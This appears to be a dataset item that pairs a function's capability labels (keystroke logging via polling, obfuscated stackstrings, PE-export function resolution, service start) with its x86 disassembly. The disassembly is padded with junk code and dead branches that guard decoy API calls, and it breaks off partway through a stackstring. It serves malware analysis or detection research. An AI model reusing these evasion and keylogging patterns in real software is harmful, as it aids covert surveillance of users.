Function at 0x1001843e
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get disk information
Get file system object information
Log keystrokes via polling
Parse pe header
Resolve function by parsing pe exports
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100734f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe38
push esi
push edi
mov dword [ebp - 0x5c], 0x841b3c69
mov byte [ebp - 0x10c], 0
movzx eax, byte [ebp - 0x10c]
test eax, eax
je 0x10018485
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [ebp - 0x5c], 0
jmp 0x10018495
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x15
jge 0x10018651
mov dword [ebp - 0x28c], 0xfffffffa
mov dword [ebp - 0x904], 9
mov dword [ebp - 0x28c], 0xffffffe5
jmp 0x100184cc
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0xfffffffc
je 0x1001862f
mov dword [ebp - 0xac], 0xeb6b9dd9
mov dword [ebp - 0x90c], 0xffffffff
mov dword [ebp - 0x2c4], 0
jmp 0x10018506
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 4
jge 0x10018522
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0xb50], 0xfffffff8
jmp 0x100184f9
mov dword [ebp - 0xac], 0
jmp 0x1001853b
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jg 0x1001862a
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp + eax*4 - 0xb50]
mov dword [ebp - 0xcb8], eax
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0xb50], 0
je 0x1001857d
cmp dword [ebp - 0x5c], 0
je 0x1001857d
mov dword [ebp - 0x8a4], 1
jmp 0x10018584
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp + eax*4 - 0xb50]
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xcd8], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xc00], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xc24], eax
cmp dword [ebp - 0x904], 0xfff7
jae 0x100185ca
mov dword [ebp - 0x720], 1
jmp 0x100185d1
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x720], eax
jge 0x100185e8
mov dword [ebp - 0x7ac], 1
jmp 0x100185ef
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0xfffffff7
jle 0x10018604
mov dword [ebp - 0x7b4], 1
jmp 0x1001860b
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp + eax*4 - 0xb50]
imul eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x90c], eax
jmp 0x1001852e
jmp 0x100184bf
mov byte [ebp - 0xd2], 0
movzx eax, byte [ebp - 0xd2]
test eax, eax
je 0x1001864c
push 0x2608
call dword [sym.imp.GDI32.dll_GetBkColor]
jmp 0x1001848e
cmp dword [ebp + 0x10], 0
jbe 0x10018748
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10018748
push 2
lea ecx, [ebp - 0x880]
call fcn.10020382
and dword [ebp - 4], 0
mov dword [ebp - 0x288], 0
jmp 0x10018691
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 2
jge 0x100186b3
push dword [ebp - 0x288]
lea ecx, [ebp - 0x880]
call fcn.10020420
mov dword [eax], 0xe0a8eac8
jmp 0x10018684
push 0
lea ecx, [ebp - 0x880]
call fcn.10020420
and dword [eax], 0
jmp 0x100186e9
push 0
lea ecx, [ebp - 0x880]
call fcn.10020420
mov dword [ebp - 0x7bc], eax
mov eax, dword [ebp - 0x7bc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x7bc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x880]
call fcn.10020420
cmp dword [eax], 0xffffffea
jl 0x10018712
mov dword [ebp - 0x914], 0xffffffff
cmp dword [ebp - 0x914], 0
je 0x10018710
jmp 0x10018712
jmp 0x100186c5
push 0
lea ecx, [ebp - 0x880]
call fcn.10020420
mov dword [eax], 0x948708ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x880]
call fcn.10020404
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10013293
pop ecx
pop ecx
jmp 0x1001ee87
mov dword [ebp - 0x290], 0x928c176b
mov dword [ebp - 0x7c4], 0xfffffffa
push 4
lea ecx, [ebp - 0xc20]
call fcn.10020382
mov dword [ebp - 4], 1
mov dword [ebp - 0x1f8], 0
jmp 0x10018789
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 4
jge 0x100187ab
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0xc20]
call fcn.10020420
mov dword [eax], 0xfffffffe
jmp 0x1001877c
mov dword [ebp - 0x290], 0x19
jmp 0x100187c4
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x15
jg 0x100188bf
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x91c], 1
mov dword [ebp - 0x7c4], 0x9ac70c30
cmp dword [ebp - 0x7c4], 0
je 0x1001881f
cmp dword [ebp - 0x60], 4
jg 0x10018807
mov dword [ebp - 0x7cc], 1
jmp 0x1001880e
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x91c], eax
jmp 0x100188ba
mov dword [ebp - 0x60], 3
jmp 0x1001882f
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10018860
mov byte [ebp - 0xd4], 0
movzx eax, byte [ebp - 0xd4]
test eax, eax
je 0x1001885e
push 0
push 0x1132
push 0x7dc
push 0x1edd
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
jmp 0x10018828
mov dword [ebp - 0x60], 0
jmp 0x10018870
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xe
jg 0x100188ba
mov byte [ebp - 0xd6], 0
movzx eax, byte [ebp - 0xd6]
test eax, eax
je 0x10018894
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
mov byte [ebp - 0xd8], 0
movzx eax, byte [ebp - 0xd8]
test eax, eax
je 0x100188b8
push 0x203f
push 0x165a
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
jmp 0x10018869
jmp 0x100187b7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc20]
call fcn.10020404
mov dword [ebp - 0x200], 0x490c4d8e
mov dword [ebp - 0x980], 0
mov dword [ebp - 0x394], 0x1e7bff44
mov dword [ebp - 0xc08], 0xffffffff
mov dword [ebp - 0x39c], 1
mov dword [ebp - 0x3d0], 0x889a278c
push 3
lea ecx, [ebp - 0xaf8]
call fcn.10020382
mov dword [ebp - 4], 2
mov dword [ebp - 0x990], 0xa7b09f59
mov dword [ebp - 0x754], 0xf199314e
mov dword [ebp - 0x358], 0xcb8f
mov dword [ebp - 0x308], 0xfcc9f71d
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x988], 0xa77f
mov dword [ebp - 0x998], 0x241d
mov dword [ebp - 0x64], 0
jmp 0x10018974
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x10018990
push dword [ebp - 0x64]
lea ecx, [ebp - 0xaf8]
call fcn.10020420
mov dword [eax], 8
jmp 0x1001896d
mov dword [ebp - 0x64], 0
jmp 0x100189a0
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x100189b6
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x7e4], 0x21dd2eb2
jmp 0x10018999
cmp dword [ebp - 0x200], 0
je 0x10018bba
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x308]
inc ecx
mov dword [ebp - 0x308], ecx
test eax, eax
jne 0x10018b21
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x7d4], eax
push 0
lea ecx, [ebp - 0xaf8]
call fcn.10020420
mov ecx, dword [ebp - 0x7d4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x7d4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x7e4]
jg 0x10018a27
mov dword [ebp - 0x7dc], 1
jmp 0x10018a2e
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x358]
cmp dword [ebp - 0x7dc], eax
jne 0x10018a48
mov dword [ebp - 0x7ec], 1
jmp 0x10018a4f
and dword [ebp - 0x7ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7e4]
cmp dword [ebp - 0x7ec], eax
jl 0x10018a70
mov dword [ebp - 0x978], 1
jmp 0x10018a77
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0x39c]
cmp dword [ebp - 0x358], eax
jl 0x10018a9d
mov dword [ebp - 0x834], 1
jmp 0x10018aa4
and dword [ebp - 0x834], 0
cmp dword [ebp - 0x834], 0x1ff7cd2b
jne 0x10018abc
mov dword [ebp - 0x418], 1
jmp 0x10018ac3
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x358]
cmp dword [ebp - 0x418], eax
jle 0x10018add
mov dword [ebp - 0x3c0], 1
jmp 0x10018ae4
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x980]
cmp dword [ebp - 0x3c0], eax
jg 0x10018b07
cmp dword [ebp - 0x988], 0
je 0x10018b07
mov dword [ebp - 0x74c], 1
jmp 0x10018b0e
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0xce0], eax
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0xc40], eax
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xd08], eax
mov dword [ebp - 0x39c], 0x182
mov eax, dword [ebp - 0x754]
cmp dword [ebp - 0x39c], eax
jne 0x10018b69
mov dword [ebp - 0x75c], 1
jmp 0x10018b70
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x3d0]
cmp dword [ebp - 0x75c], eax
jg 0x10018b8a
mov dword [ebp - 0x3d8], 1
jmp 0x10018b91
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x3d8]
sub ecx, dword [ebp - 0x990]
cmp eax, ecx
je 0x10018bba
mov dword [ebp - 0x764], 1
jmp 0x10018bc1
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x998], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf8]
call fcn.10020404
cmp dword [ebp + 0x10], 0
jne 0x1001cc71
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x9a0], 0xfffffffa
mov dword [ebp - 0x198], 0x4a11600d
mov dword [ebp - 0x9b0], 0xaa12
mov dword [ebp - 0x298], 0
jmp 0x10018c24
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 2
jge 0x10018c40
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0x364], 0xffffffff
jmp 0x10018c17
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x364], 0
jne 0x10018c5a
cmp dword [ebp - 0x48], 0
je 0x10018d5a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x364]
mov dword [ebp - 0x3e0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp + eax - 0x364], ecx
cmp dword [ebp - 0x3e0], 0
je 0x10018cc4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x364]
mov dword [ebp - 0x76c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x76c]
mov dword [ebp + eax - 0x364], ecx
cmp dword [ebp - 0x76c], 0
je 0x10018cc4
mov dword [ebp - 0x3e8], 1
jmp 0x10018ccb
and dword [ebp - 0x3e8], 0
cmp dword [ebp - 0x3e8], 0xffff
jbe 0x10018cf3
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x364], 0
je 0x10018cf3
mov dword [ebp - 0x774], 1
jmp 0x10018cfa
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x774], eax
jle 0x10018d11
mov dword [ebp - 0x3f0], 1
jmp 0x10018d18
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x9a0], eax
mov eax, 0x1b6f
cmp eax, 0xffff
jne 0x10018d3c
mov dword [ebp - 0x77c], 1
jmp 0x10018d43
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x77c]
je 0x10018d5a
mov dword [ebp - 0x3f8], 1
jmp 0x10018d61
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x3f8], eax
je 0x10018d78
mov dword [ebp - 0x784], 1
jmp 0x10018d7f
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x198], 1
jmp 0x10018dab
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x10018df3
mov dword [ebp - 0x9a8], 0xbf5f40e1
mov dword [ebp - 0x48], 0
jmp 0x10018dce
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jg 0x10018de5
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x364], 0
je 0x10018de3
jmp 0x10018de5
jmp 0x10018dc7
mov eax, dword [ebp - 0x9a8]
mov dword [ebp - 0x9b0], eax
jmp 0x10018d9e
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000a9c9
mov dword [ebp - 0x21c], eax
push 2
lea ecx, [ebp - 0xc3c]
call fcn.10020382
mov dword [ebp - 4], 3
mov dword [ebp - 0x2a0], 1
mov dword [ebp - 0x208], 0
jmp 0x10018e3b
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 2
jge 0x10018e5d
push dword [ebp - 0x208]
lea ecx, [ebp - 0xc3c]
call fcn.10020420
mov dword [eax], 0xfffffffb
jmp 0x10018e2e
mov dword [ebp - 0x2a0], 0
jmp 0x10018e76
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 1
jg 0x10018ea0
mov byte [ebp - 0xda], 0
movzx eax, byte [ebp - 0xda]
test eax, eax
je 0x10018e9e
push 0
push 0x1990
call dword [sym.imp.USER32.dll_GetWindowPlacement]
jmp 0x10018e69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc3c]
call fcn.10020404
mov dword [ebp - 0x410], 0x81c29000
mov dword [ebp - 0xc50], 0x10aa43b2
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x9c0], 0xb0bf2465
mov dword [ebp - 0x9b8], 0x956a218f
mov dword [ebp - 0x390], 0x6522452a
mov dword [ebp - 0x79c], 0xa69eed08
mov dword [ebp - 0x74], 0
jmp 0x10018f05
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x10018f1b
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x9d0], 0x1b552bf3
jmp 0x10018efe
mov dword [ebp - 0x74], 0
jmp 0x10018f2b
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x10018f41
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0xd4c], 1
jmp 0x10018f24
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x390]
cmp dword [ebp - 0x410], eax
je 0x10018f68
mov dword [ebp - 0x400], 1
jmp 0x10018f6f
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x400], eax
jne 0x10018f89
mov dword [ebp - 0x78c], 1
jmp 0x10018f90
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x79c]
cmp dword [ebp - 0x9b8], eax
je 0x10018fa7
cmp dword [ebp - 0x9c0], 0
je 0x10018fcc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4c], 0
je 0x10018fcc
mov eax, 0xfff7
test eax, eax
je 0x10018fcc
mov dword [ebp - 0x408], 1
jmp 0x10018fd3
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x78c]
cmp eax, dword [ebp - 0x408]
jne 0x10018fed
mov dword [ebp - 0x794], 1
jmp 0x10018ff4
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x3a0]
add eax, dword [ebp - 0x794]
cmp eax, 0x55059b8b
jne 0x10019013
mov dword [ebp - 0x9c8], 1
jmp 0x1001901a
and dword [ebp - 0x9c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9d0]
mov dword [ebp - 0xce8], eax
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 0x3a0]
inc ecx
inc ecx
sub eax, ecx
mov dword [ebp - 0x79c], eax
push 2
lea ecx, [ebp - 0x7fc]
call fcn.10020382
mov dword [ebp - 4], 4
mov dword [ebp - 0x218], 0x30cc2fdc
mov dword [ebp - 0x630], 0x31eb2391
mov dword [ebp - 0xa20], 0
mov dword [ebp - 0xa0c], 1
mov dword [ebp - 0xa1c], 8
mov dword [ebp - 0x210], 0
jmp 0x100190a2
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x100190c4
push dword [ebp - 0x210]
lea ecx, [ebp - 0x7fc]
call fcn.10020420
mov dword [eax], 1
jmp 0x10019095
push 0
lea ecx, [ebp - 0x7fc]
call fcn.10020420
cmp dword [eax], 0
jne 0x100190fe
push 0
lea ecx, [ebp - 0x7fc]
call fcn.10020420
push 0
lea ecx, [ebp - 0x7fc]
call fcn.10020420
cmp dword [eax], 0
jne 0x100190fe
and dword [ebp - 0x7a4], 0
jmp 0x10019108
mov dword [ebp - 0x7a4], 1
mov eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x218], eax
imul eax, dword [ebp - 0x218], 0x160a4
mov dword [ebp - 0x630], eax
mov esi, dword [ebp - 0x630]
push 0
lea ecx, [ebp - 0x7fc]
call fcn.10020420
imul esi, dword [eax]
imul eax, esi, 0
test eax, eax
je 0x10019152
xor eax, eax
inc eax
je 0x10019152
mov dword [ebp - 0x420], 1
jmp 0x10019159
and dword [ebp - 0x420], 0
push 1
lea ecx, [ebp - 0x7fc]
call fcn.10020420
mov ecx, dword [ebp - 0x420]
cmp ecx, dword [eax]
jne 0x1001917c
mov dword [ebp - 0x7c0], 1
jmp 0x10019183
and dword [ebp - 0x7c0], 0
push 1
lea ecx, [ebp - 0x7fc]
call fcn.10020420
mov ecx, dword [ebp - 0x7c0]
cmp ecx, dword [eax]
jl 0x100191d6
mov byte [ebp - 0xdc], 0
movzx eax, byte [ebp - 0xdc]
test eax, eax
je 0x100191b9
push 1
push 0x1e48
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov byte [ebp - 0xcf], 0
movzx eax, byte [ebp - 0xcf]
test eax, eax
je 0x100191d1
call dword [sym.imp.USER32.dll_ReleaseCapture]
jmp 0x10019461
mov dword [ebp - 0x648], 0x7438e213
mov dword [ebp - 0x2a8], 0
jmp 0x100191f9
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 3
jge 0x10019215
mov eax, dword [ebp - 0x2a8]
mov dword [ebp + eax*4 - 0x3ac], 0xb76e
jmp 0x100191ec
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3ac], 0
jne 0x10019301
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ac]
mov dword [ebp - 0xc60], eax
cmp dword [ebp - 0xa0c], 0
je 0x1001925a
mov eax, 0x38d6
test eax, eax
je 0x1001925a
mov dword [ebp - 0x428], 1
jmp 0x10019261
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
sub eax, dword [ebp - 0x218]
cmp eax, 0xffffffff
je 0x1001927e
mov dword [ebp - 0x638], 1
jmp 0x10019285
and dword [ebp - 0x638], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ac]
cmp dword [ebp - 0x638], eax
jge 0x100192b6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3ac], 0
je 0x100192b6
mov dword [ebp - 0x430], 1
jmp 0x100192bd
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0xa20]
sub eax, dword [ebp - 0x430]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x3ac]
jne 0x100192e3
mov dword [ebp - 0x740], 1
jmp 0x100192ea
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0xa1c]
cmp dword [ebp - 0x740], eax
jge 0x10019301
and dword [ebp - 0x438], 0
jmp 0x1001930b
mov dword [ebp - 0x438], 1
mov eax, dword [ebp - 0x438]
add eax, 0x3254
cmp eax, 0xfffffffb
jne 0x10019330
mov eax, 0x359a7032
test eax, eax
je 0x10019330
mov dword [ebp - 0x640], 1
jmp 0x10019337
and dword [ebp - 0x640], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ac]
imul eax, dword [ebp - 0x640]
test eax, eax
je 0x1001935e
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3ac], 0
jne 0x10019380
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3ac], 0
jne 0x10019380
mov eax, 0xfff8
test eax, eax
jne 0x10019380
and dword [ebp - 0x440], 0
jmp 0x1001938a
mov dword [ebp - 0x440], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ac]
cmp dword [ebp - 0x440], eax
jg 0x100193ab
mov dword [ebp - 0x828], 1
jmp 0x100193b2
and dword [ebp - 0x828], 0
cmp dword [ebp - 0x828], 1
jge 0x100193c7
mov dword [ebp - 0x448], 1
jmp 0x100193ce
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
sub eax, dword [ebp - 0x648]
cmp eax, dword [ebp - 0x648]
je 0x100193ee
mov dword [ebp - 0x450], 1
jmp 0x100193f5
and dword [ebp - 0x450], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ac]
cmp dword [ebp - 0x450], eax
jl 0x10019416
mov dword [ebp - 0x748], 1
jmp 0x1001941d
and dword [ebp - 0x748], 0
cmp dword [ebp - 0x748], 0
jb 0x10019432
mov dword [ebp - 0x458], 1
jmp 0x10019439
and dword [ebp - 0x458], 0
cmp dword [ebp - 0x458], 0
ja 0x1001944e
mov dword [ebp - 0x650], 1
jmp 0x10019455
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x218], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7fc]
call fcn.10020404
cmp dword [0x1061c3d0], 0
jne 0x1001c963
mov dword [ebp - 0x24], 0x5baf43b
mov dword [ebp - 0x660], 0x758fc567
cmp dword [ebp - 0x24], 0
je 0x1001962f
mov dword [ebp - 0x9a4], 0xfffffffa
mov dword [ebp - 0x2b0], 0
jmp 0x100194bb
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 1
jge 0x100194d7
mov eax, dword [ebp - 0x2b0]
mov dword [ebp + eax*4 - 0x2b8], 0xffffffff
jmp 0x100194ae
mov dword [ebp - 0x24], 3
jmp 0x100194e7
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff9
jg 0x1001954e
mov dword [ebp - 0x220], 6
mov dword [ebp - 0x220], 0xfffffff3
jmp 0x10019510
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x16
jg 0x1001954c
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x1001954a
push 0x606
push 0x20fb
push 0x814
push 0x200b
push 0x1715
call dword [sym.imp.GDI32.dll_Rectangle]
jmp 0x10019503
jmp 0x100194e0
xor eax, eax
jne 0x10019564
cmp dword [ebp - 0x24], 0x9598aaf0
jb 0x10019564
and dword [ebp - 0x460], 0
jmp 0x1001956e
mov dword [ebp - 0x460], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b8]
cmp dword [ebp - 0x460], eax
je 0x1001958f
mov dword [ebp - 0x7c8], 1
jmp 0x10019596
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x7c8]
cmp eax, 2
jg 0x100195b0
mov dword [ebp - 0x468], 1
jmp 0x100195b7
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 0xfad5befa
jbe 0x100195cf
mov dword [ebp - 0x658], 1
jmp 0x100195d6
and dword [ebp - 0x658], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b8]
cmp eax, dword [ebp - 0x658]
jge 0x10019614
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b8], 0
jne 0x10019614
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b8], 0
jne 0x10019614
and dword [ebp - 0x470], 0
jmp 0x1001961e
mov dword [ebp - 0x470], 1
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x9a4], eax
jmp 0x1001976d
push 4
lea ecx, [ebp - 0x9e0]
call fcn.10020382
mov dword [ebp - 4], 5
mov dword [ebp - 0x478], 0x5bb08661
mov dword [ebp - 0x228], 0
jmp 0x10019666
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 4
jge 0x10019688
push dword [ebp - 0x228]
lea ecx, [ebp - 0x9e0]
call fcn.10020420
mov dword [eax], 1
jmp 0x10019659
mov dword [ebp - 0x24], 0
jmp 0x10019698
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x100196b4
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9e0]
call fcn.10020420
mov dword [eax], 0x91ba6b42
jmp 0x10019691
push 2
lea ecx, [ebp - 0x9e0]
call fcn.10020420
cmp dword [eax], 0
je 0x100196e1
cmp dword [ebp - 0x24], 0
jne 0x100196d5
cmp dword [ebp - 0x478], 0
je 0x100196e1
mov dword [ebp - 0x480], 1
jmp 0x100196e8
and dword [ebp - 0x480], 0
cmp dword [ebp - 0x660], 0
jne 0x1001970c
push 3
lea ecx, [ebp - 0x9e0]
call fcn.10020420
cmp dword [eax], 0
jne 0x1001970c
and dword [ebp - 0x750], 0
jmp 0x10019716
mov dword [ebp - 0x750], 1
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x750]
cmp eax, 0xd749
jg 0x1001972e
cmp dword [ebp - 0x478], 0
or eax, 0xffffffff
jne 0x10019745
cmp dword [ebp - 0x660], 0
jne 0x10019745
and dword [ebp - 0x830], 0
jmp 0x1001974f
mov dword [ebp - 0x830], 1
mov eax, dword [ebp - 0x480]
add eax, dword [ebp - 0x830]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9e0]
call fcn.10020404
mov dword [ebp - 0x98c], 0x5d91
lea eax, [ebp - 0x98c]
push eax
call fcn.10013267
pop ecx
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0xd28], 0x2e0c
mov byte [ebp - 0xcc], 0
movzx eax, byte [ebp - 0xcc]
test eax, eax
je 0x100197ae
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [ebp - 0xd3], 0
movzx eax, byte [ebp - 0xd3]
test eax, eax
je 0x100197cd
push 0
push 0x1172
call dword [sym.imp.GDI32.dll_SetTextColor]
mov byte [ebp - 0x1c8], 4
mov byte [ebp - 0x1c7], 0xc6
mov byte [ebp - 0x1c6], 5
mov byte [ebp - 0x1c5], 0x17
mov byte [ebp - 0x1c4], 2
mov byte [ebp - 0x1c3], 6
mov byte [ebp - 0x1c2], 0xa
mov byte [ebp - 0x1c1], 0x31
mov byte [ebp - 0x1c0], 0xc
mov byte [ebp - 0x1bf], 0x12
mov byte [ebp - 0x1be], 1
